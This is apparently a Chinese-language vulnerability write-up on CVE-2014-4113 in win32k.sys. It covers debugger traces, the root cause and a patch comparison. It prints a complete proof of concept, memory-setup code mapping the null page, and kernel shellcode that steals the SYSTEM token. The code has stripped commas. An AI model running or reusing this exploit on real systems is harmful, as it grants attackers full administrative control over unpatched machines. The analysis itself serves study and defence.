快捷搜索:  汽车  科技

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析kd> kb ChildEBP RetAddr Args to Child 00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout 0xb3 01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage 0x28 02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages 0x582 03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop 0x2c6 04 af0bfba0 9d63f9dc

漏洞介绍漏洞程序

Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。

如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

漏洞原理

该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权

实验环境

虚拟机:Windows 7 x86 sp1

物理机:Windows 10 x64 21H2

用到的工具:IDA,Windbg,VS2022

漏洞分析

以网上随便找的poc为突破口,开始分析漏洞,在虚拟机里运行poc,windbg接管异常,说明漏洞实际存在(默认安装的Windows7x86sp1)

查看调用堆栈:

kd> kb ChildEBP RetAddr Args to Child 00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout 0xb3 01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage 0x28 02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages 0x582 03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop 0x2c6 04 af0bfba0 9d63f9dc 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx 0x5cd 05 af0bfc14 83e441ea 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx 0xc3 06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry 0x12a 07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet

查看一下当前异常的地方:

kd> u win32k!xxxSendMessageTimeout 0xb3: 9d5b93fa 3b7e08 cmp edi dword ptr [esi 8] 9d5b93fd 0f8484000000 je win32k!xxxSendMessageTimeout 0x140 (9d5b9487) 9d5b9403 8b0e mov ecx dword ptr [esi] 9d5b9405 8b15e4d1719d mov edx dword ptr [win32k!gSharedInfo 0x4 (9d71d1e4)] 9d5b940b 81e1ffff0000 and ecx 0FFFFh 9d5b9411 0faf0de8d1719d imul ecx dword ptr [win32k!gSharedInfo 0x8 (9d71d1e8)] 9d5b9418 33c0 xor eax eax 9d5b941a f644110901 test byte ptr [ecx edx 9] 1

是esi的值导致了漏洞,查看esi的值:

kd> r esi esi=fffffffb

在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项

这里头会调用xxxMNLoop,这个函数里有while(1)循环,应该是消息循环,处理消息的函数貌似正是xxxHandleMenuMessages

据查阅资料,TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环

【一一帮助安全学习,所有资源关注我,私信回复“资料”获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源

分析xxxHandleMenuMessages

这里面开始经过一堆判断之后,会通过xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用

这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!

而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(1)

分析xxxMNFindWindowFromPoint

异常发生在了xxxSendMessage里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint的返回值,该函数如下图所示

可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup有值,这里的ppopupmenu是传入的参数,是PPOPUPMENU结构体(参考资料[14])

其中spwndNextPopup成员的值含义是:下一层Popup菜单,是WND结构,所以需要创建两个popup菜单,其中一个作为另一个的下层

struct tagWND *spwndNextPopup; /* The next popup in the hierarchy. Null if the last * in chain */

这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是popup菜单的下一层菜单,返回值应该就是菜单句柄了

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(2)

这里对返回值会调用IsMFMWFPWindow函数进行处理:如果是非空,且不为-5或-1,就返回1

BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }

若这里返回了1,就会进入if语句导致该变量被重新赋值,也就是说,这里如果要跳过这个if语句,返回值就必须是-1或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的SendMessage中,所以这里的返回值在为-5的时候,会触发漏洞

分析xxxSendMessage

int __stdcall xxxSendMessage(PVOID P CHAR pszMultiByteString WCHAR WideCharString void *Src) { InterlockedIncrement(&glSendMessage); return xxxSendMessageTimeout(P pszMultiByteString WideCharString Src 0 0 0 (PVOID)1); }

这个函数把传入的参数又接着传入了xxxSendMessageTimeout函数

分析xxxSendMessageTimeout

程序异常点在esi的值上,esi=-5被传入了进来,然后进行取值触发地址访问异常

这个函数首先把这个值保存到了esi

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(3)

接着往下有一个比较跳转:会从esi 8的地址取值

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(4)

再往下还有两个要esi的地方:

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(5)

Poc编写

如果能控制0x1EB消息的返回值为-5,那么就能走到xxxSendMessageTimeout中,让程序异常触发漏洞,实现poc

参考资料得知,这里的调用SendMessage存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以Hook 0x1EB消息

Poc如下:

include nclude LRESULT CALLBACK DialogFun(HWND hWnd UINT uMsg WPARAM wParam LPARAM lParam) { // 手动触发按下事件 if (uMsg == WM_ENTERIDLE) { PostMessageA(hWnd WM_KEYDOWN VK_DOWN 0); PostMessageA(hWnd WM_KEYDOWN VK_RIGHT 0); PostMessageA(hWnd WM_LBUTTONDOWN 0 0); } return DefWindowProc(hWnd uMsg wParam lParam); } LRESULT CALLBACK NewDialogFun(HWND hWnd UINT uMsg WPARAM wParam LPARAM lParam) { // 触发漏洞,返回-5 if (uMsg == 0x1eb) { return -5; } return DefWindowProc(hWnd uMsg wParam lParam); } LRESULT CALLBACK HookCallback(int code WPARAM wParam LPARAM lParam) { CWPSTRUCT* ptag = (CWPSTRUCT*)lParam; if (ptag->message == 0x1eb) { // 这里至关重要:需要解除Hook if (UnhookWindowsHook(WH_CALLWNDPROC HookCallback)) { SetWindowLongA(ptag->hwnd GWLP_WNDPROC (LONG)NewDialogFun); } } return CallNextHookEx(0 code wParam lParam); } int main() { // 注册窗口类 WNDCLASSA wnd = { 0 }; wnd.hInstance = ::GetModuleHandle(NULL); wnd.lpfnWndProc = DialogFun; wnd.lpszClassName = "CVE-2014-4113"; RegisterClassA(&wnd); // 创建窗口 HWND hwnd = ::CreateWindowA( wnd.lpszClassName "CVE-2014-4113" WS_OVERLAPPEDWINDOW 0 0 800 600 NULL NULL wnd.hInstance NULL); // 创建Pop-up菜单 // 需要两个菜单,一个作为子菜单存在 HMENU menu1 = CreatePopupMenu(); // 主菜单 HMENU menu2 = CreatePopupMenu(); // 子菜单 ::AppendMenuA(menu2 MF_STRING 0 "world"); ::AppendMenuA(menu1 MF_STRING | MF_POPUP (UINT_PTR)menu2 "hello"); //给它一个spwndNextPopup 指针 // 设置Hook ::SetWindowsHookExA(WH_CALLWNDPROC HookCallback NULL GetCurrentThreadId()); // 触发漏洞 BOOL ret = TrackPopupMenu(menu1 TPM_RIGHTBUTTON 0 0 0 hwnd 0); return 0; }

这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!

漏洞利用

在Poc的基础上,如果能控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用

布置内存

DWORD GetPtiCurrent() { __asm { mov eax fs: [0x18] mov eax [eax 0x40] } } BOOL initMem() { // 初始化一些要用到的内存 HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)( HANDLE ProcessHandle PVOID* BaseAddress ULONG ZeroBits PULONG AllocationSize ULONG AllocationType ULONG Protect ); PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll "NtAllocateVirtualMemory"); // 申请内存 ULONG base = -5; ULONG size = 0x1000; NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL) (PVOID*)&base 0 &size MEM_COMMIT | MEM_RESERVE PAGE_EXECUTE_READWRITE); if (ntstatus != 0) { FreeLibrary(hNtdll); return FALSE; } *(DWORD*)0x3 = GetPtiCurrent(); *(BYTE*)0x11 = (BYTE)4; *(DWORD*)0x5B = (DWORD)ShellCode; return TRUE; } Shellcode

int __stdcall ShellCode(int parameter1 int parameter2 int parameter3 int parameter4) { _asm { pushad mov eax fs: [124h] // Find the _KTHREAD structure for the current thread mov eax [eax 0x50] // Find the _EPROCESS structure mov ecx eax mov edx 4 // edx = system PID(4) // The loop is to get the _EPROCESS of the system find_sys_pid : mov eax [eax 0xb8] // Find the process activity list sub eax 0xb8 // List traversal cmp[eax 0xb4] edx // Determine whether it is SYSTEM based on PID jnz find_sys_pid // Replace the Token mov edx [eax 0xf8] mov[ecx 0xf8] edx popad } return 0; } 4113/CVE-2014-4113.cpp 利用截图

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(6)

补丁diff

漏洞触发点(0x1ED消息)处的函数对比

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(7)

可以看到,左边检查ebx参数是检查是否是-1,不是-1则发送消息

右边的检查则多了一个过程,调用了IsMFMWFPWindow函数进行再次检查:

BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }

这下子直接杜绝了把-5当作参数传入SendMessage函数的情况,从而修补了漏洞

windows高危漏洞:驱动文件Microsoft32k.sys中的漏洞分析(8)

猜您喜欢: